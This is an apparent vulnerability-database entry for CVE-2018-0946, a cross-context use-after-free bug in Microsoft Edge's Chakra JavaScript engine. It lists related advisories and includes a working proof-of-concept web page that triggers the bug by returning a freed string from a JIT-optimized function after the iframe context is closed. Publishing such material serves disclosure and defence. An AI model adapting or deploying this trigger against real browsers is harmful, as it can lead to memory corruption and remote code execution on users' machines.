Microsoft Edge: Chakra: Cross context bug(CVE-2018-0946)

🗓️ 08 Jun 2018 00:00:00Reported by KnownsecType

Chakra Cross context bug in Microsoft Edg

Reporter	Title	Published	Views	Family All 49
BDU FSTEC	The vulnerability of the JavaScript script handler ChakraCore in the Microsoft Edge browser allows a hacker to execute arbitrary code.	5 Jul 201800:00	–	bdu_fstec
Circl	CVE-2018-0946	25 May 201800:00	–	circl
CNVD	Microsoft ChakraCore and Edge Remote Code Execution Vulnerability (CNVD-2018-10208)	9 May 201800:00	–	cnvd
Check Point Advisories	Microsoft Edge Scripting Engine Memory Corruption (CVE-2018-0946)	8 May 201800:00	–	checkpoint_advisories
CVE	CVE-2018-0946	9 May 201819:00	–	cve
Cvelist	CVE-2018-0946	9 May 201819:00	–	cvelist
EUVD	EUVD-2022-4070	9 May 201819:00	–	euvd
EUVD	EUVD-2022-5586	9 May 201819:00	–	euvd
Github Security Blog	ChakraCore RCE Vulnerability	13 May 202201:18	–	github
Microsoft KB	May 8, 2018—KB4103721 (OS Build 17134.48)	8 May 201807:00	–	mskb


                                                <body>
<script>
let f = document.body.appendChild(document.createElement('iframe'));
let wrapped_dv = f.contentWindow.eval(`
    function opt() {
        return 'xxxx';
    }

    // Optimizing "opt", so that the address of 'xxxx' can be inlineed.
    for (let i = 0; i < 100000; i++) {
        opt();
    }

    let dv = new DataView(new ArrayBuffer(0));
    dv.buffer.opt = opt;
    dv;
`);

let buffer = DataView.prototype.__lookupGetter__('buffer').call(wrapped_dv);
let opt = buffer.opt;

f.onload = () => {
    f.onload = null;

    // Garbage collection
    for (let i = 0; i < 10; i++)
        new ArrayBuffer(1024 * 1024 * 40);

    let obj = opt();  // "opt" returns the freed string constant.
    alert(obj);
};

// Closing the diffrent context
f.src = 'about:blank';

</script>
</body>

08 Jun 2018 00:00Current

7.9High risk

Vulners AI Score7.9

EPSS0.51857